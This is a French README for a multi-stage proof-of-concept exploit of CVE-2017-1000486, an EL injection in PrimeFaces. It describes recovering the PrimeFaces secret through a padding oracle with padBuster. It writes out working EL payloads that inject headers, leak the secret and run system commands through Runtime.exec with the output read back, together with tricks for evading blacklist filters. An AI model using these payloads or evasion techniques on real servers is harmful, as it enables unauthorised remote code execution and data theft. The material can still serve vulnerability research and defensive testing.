
Exploit de preuve de concept en plusieurs étapes pour CVE-2017-1000486 (injection EL PrimeFaces) avec récupération de secret par oracle de padding et charges utiles contournant la liste noire pour exécution de code à distance.
Ceci est un PoC de CVE-2017-1000486 avec des payloads utiles pour contourner les vérifications lexicographiques de blacklistage sur les fonctions standard utilisées pour obtenir une RCE (getClass(), exec(), etc.) et pour récupérer le secret de PrimeFaces via Padding Oracle afin d'être le moins bruyant possible lors de l'exploitation.
Ce PoC est un script multi-étapes utile pour analyser le contexte de chaque application et des bibliothèques de serveurs web disponibles.
Initialement, le script perl padBuster écrit par @AonCyberLabs est utilisé pour récupérer le secret PrimeFaces, s'il n'est pas fourni manuellement. Cela peut être utile pour réduire le nombre de requêtes faites au serveur lors du chiffrement ultérieur des payloads, accélérant ainsi l'ensemble du processus. Le temps nécessaire pour exploiter la vulnérabilité Padding Oracle est directement proportionnel à la taille des payloads ; l'utiliser uniquement dans la première étape sur un payload assez plus petit améliore considérablement les performances.
Je ne souhaite pas réécrire tout le code de padBuster pour l'intégrer directement avec Python, donc une exécution de commande propre via le système d'exploitation est effectuée pour l'exécuter.
EL payload:
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/main/%22SECRET%22%2CinitParam%5B%22primefaces.SECRET%22%5D)}
Un simple contrôle avec un EL qui effectue une injection d'en-tête est effectué pour vérifier l'exécution du code EL. Considérez que dans ce cas, deux méthodes sont disponibles : setResponseHeader et addResponseHeader ; d'autres méthodes disponibles peuvent être récupérées dans la documentation officielle.
EL payload:
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/main/%22PROVA%22%2C%22123456%22)}
Ensuite, une série de vérifications sur les variables implicites disponibles est effectuée pour mettre en évidence certains problèmes potentiels causés par des bibliothèques de serveurs web personnalisées qui n'offrent pas toutes les variables implicites, comme IBM WebLogic. De plus, la version de Java Runtime est récupérée en essayant d'être la plus spécifique possible avec la payload.
En fait, j'observe que sur Java <=7, il y a une certaine confusion de type de paramètre sur les méthodes appelées. Je suppose que cela est dû à l'assignation de type de variable effectuée par l'analyseur EL. Pour éviter cela, le script se réfère à des méthodes spécifiques via le tableau getDeclaredMethods(), dans ce cas, il faut identifier l'index correct pour chaque méthode utilisée. Cela augmente évidemment la taille de la payload mais offre une grande résilience.
Afin de créer un tableau d'octets comme buffer, une solution de contournement via "".format("%0999d",0).getBytes() (créant un buffer de taille 999) ou "0000000".getBytes() (créant un buffer de taille 7) est utilisée.
EL standard :
${facesContext.getExternalContext().getSession(true).putValue("stream",""["class"].forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null)["exec"](https://github.com/pastea/cve-2017-1000486/blob/main/%22command%22).getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","".format("%0999d",0).getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()))}
${facesContext.getExternalContext().getResponseOutputStream().write(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()).flush().close()}
EL avec getDeclaredMethods() :
${facesContext.getExternalContext().getSession(true).putValue("runtime",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(null))}
${facesContext.getExternalContext().getSession(true).putValue("stream",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getSession(true).getValue("runtime"),"command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","0000000".getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"0000000".length()))}
${facesContext.getELContext()["class"].forName("org.apache.catalina.connector.CoyoteOutputStream").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getResponseOutputStream(),facesContext.getExternalContext().getSession(true).getValue("buffer"))}
${facesContext.getExternalContext().getResponseOutputStream().flush().close()}
Les méthodes sur JSF peuvent être appelées via la référence ["method"](), pas seulement comme Java standard avec la notation par point .method(). Cela peut aider à contourner les filtres effectués sur le serveur entre le déchiffrement et l'exécution de l'EL.
getClass() peut être remplacé par l'instruction ["class"]
facesContext.getExternalContext().getSession(true).putValue() peut être remplacé par session.setAttribute(); en approche générale, chaque map peut être utilisée comme référentiel pour stocker des variables.
CET OUTIL EST FOURNI À DES FINS ÉDUCATIVES UNIQUEMENT, DANS L'INTENTION DE RECHERCHE UNIQUEMENT.
Vous ne pouvez pas utiliser ce logiciel à des fins illégales ou contraires à l'éthique, y compris des activités qui donneraient lieu à une responsabilité pénale ou civile.
UTILISATION À VOS PROPRES RISQUES. CE LOGICIEL EST FOURNI PAR LE TITULAIRE DU DROIT D'AUTEUR OU LES CONTRIBUTEURS « EN L'ÉTAT » ET TOUTE GARANTIE EXPRESSE OU IMPLICITE, Y COMPRIS, MAIS SANS S'Y LIMITER, LES GARANTIES IMPLICITES DE QUALITÉ MARCHANDE ET D'ADAPTATION À UN USAGE PARTICULIER, EST EXCLUE. EN AUCUN CAS LE TITULAIRE DU DROIT D'AUTEUR OU LES CONTRIBUTEURS NE SERONT RESPONSABLES DE TOUT DOMMAGE DIRECT, INDIRECT, INCIDENTIEL, SPÉCIAL, EXEMPLAIRE OU CONSÉCUTIF.